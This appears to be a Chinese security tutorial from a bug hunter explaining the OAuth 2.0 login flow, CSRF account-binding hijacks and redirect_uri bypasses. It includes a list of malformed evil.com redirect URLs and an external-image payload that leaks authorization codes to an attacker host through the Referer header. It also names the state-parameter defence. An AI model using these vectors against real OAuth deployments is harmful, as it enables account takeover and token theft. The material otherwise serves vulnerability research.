0x01 OAuth2.0是什么?
OAuth(Open Authorization,开放授权)是一个开放标准,允许用户授权第三方网站访问他们存储在另外的服务提供者上的信息,而不需要将用户名和密码提供给第三方网站或分享他们数据的所有内容。
例子:例如我们经常在各大网站可以经常看到 “QQ登录,微信登录,微博登录,github登录” 使用这些平台我们就可以无需在第三方网站注册一个新账号,我们可以直接使用这些快捷登录方法。
例如:微博登录,在使用微博登录第三方时授权成功以后,第三方就可以获取我们的微博个人信息,好友关系等等…
0x02 OAuth2.0 登录流程
关于OAuth2.0协议的授权流程可以参考下面的流程图
- Client指第三方应用
- Resource Owner指用户
- Authorization Server是我们的授权服务器
- Resource Server是API服务器
整个过程分为 A~F 六个步骤:
A:Client向Resource Owner发出认证请求。
B:Resource Owner对Client的请求给予授权,并给Client颁发一个授权令 牌Authorization Code。
C:Client携带Authorization Code对Authorization Server发起授权请求。
D:Authorization Server对Client的请求给予授权,并给Client颁发一个授权令牌Access Token。
E:Client携带Access Token向Resource Server请求用户信息资源。
F:Resource Server验证Access Token合法后将用户信息资源发回给Client。
0x03 攻击方法
- CSRF绑定劫持
- redirect_uri 绕过授权劫持
0x04 CSRF绑定劫持
攻击者抓取认证请求构造恶意url,并欺骗服务器已登录的用户点击(例如通过QQ消息/微信消息/网站站内信/邮件等方式)
这时只要用户点击一下恶意url就会触发认证,认证成功后用户的帐号会同攻击者的帐号绑定到一起,攻击者即可通过OAuth登录绑定的账号。
- 防御方法:
- 这个就是 客户端 的问题.
- OAuth 2.0 提供了state参数用于防御CSRF.
- 认证服务器在接收到state参数会按原样返回给redirect_uri.
- 客户端收到该参数并验证与之前生成的值是否一致即可.
案例: 请搜索我的文章-漏洞挖掘之*书OAuth2.0认证缺陷CSRF-第三方帐号快捷登录授权劫持漏洞
0x05 redirect_uri 绕过授权劫持
根据OAuth的认证流程,认证服务器会根据client_id获取应用数据并且判断redirect_uri是否合法.
如果通过了,用户授权凭证会由服务器转发到redirect_uri对应的地址.
这个地址如果攻击者可控制并且伪造为自己的redirect_uri地址,然后诱导用户发送该请求,之后获取的凭证就会发送给攻击者伪造的回调地址.
攻击者使用该凭证即可登录用户账号,造成授权劫持.
案例: 请搜索我的文章-漏洞挖掘之众测厂商 redirect_uri 授权劫持漏洞
案例: 请搜索我的文章-漏洞挖掘之众测厂商 第三方登录RedirectUrl劫持漏洞
0x05.1 畸形url绕过方法
- 注意点:
- http://auth.app.com = 认证服务器保存的回调地址
- evil.com = 恶意域名
- http://auth.app.com.evil.com
- http://evil.com?http://auth.app.com
- http://auth.app.com@evil.com
- http://evil.com?@http://auth.app.com
- http://auth.app.com@evil.com
- http://evil.com[http://auth.app.com](http://auth.app.com/)
- http://evil.com:[http://auth.app.com](http://auth.app.com/)
- http://evil.com.auth.app.com
- http://evil.com:@http://auth.app.com
- http://evil.com#http://auth.app.com
- http://evil.com\auth.app.com
- /evil.com?http://auth.app.com
- //evil.com?http://auth.app.com
利用畸形url的绕过方法核心就一点:让认证服务器的回调地址感觉是正常的请求
0x05.2 跨域绕过
利用可信域的url跳转从referer偷取token
0x05.2.1 例子 1:网站存在一个任意url跳转漏洞,可利用该漏洞构造以下向量
认证服务器将凭证通过GET方法发送到redirect.php,这时redirect.php执行url跳转,访问http://evil.com,攻击者在evil.com记录日志,并从请求头中的referer字段提取出该凭证,即可通过该凭证进行授权登录.
案例: 请搜索我的文章-漏洞挖掘之众测厂商子站点组合漏洞劫持用户登录凭证
0x05.2.2 例子 2:利用跨域请求从referer偷取token
在我们不能绕过redirect_uri的判断规则时,我们可以使利用跨域请求从referer中偷取token.
redirect_uri限制死了只能为app.com,然而网站有地方我们可以操作例如:http://app.com/article/1.html 中允许用户发表文章,并且插入图片之类的.
那么我可以在文章中嵌入来自evil.com的外部图片.
例如这样:<img src="evil.com/csrf_test.jpg">
用户授权完了以后的请求可能是:http://app.com/article/1.html?code=xxxxxxxx 然后跳转到这个文章地址,接着加载 外部图片 然后evil.com记录日志,并从请求头中的referer字段提取出该凭证,即可通过该凭证进行授权登录.
案例: 请搜索我的文章-漏洞挖掘之众测厂商 ticket劫持漏洞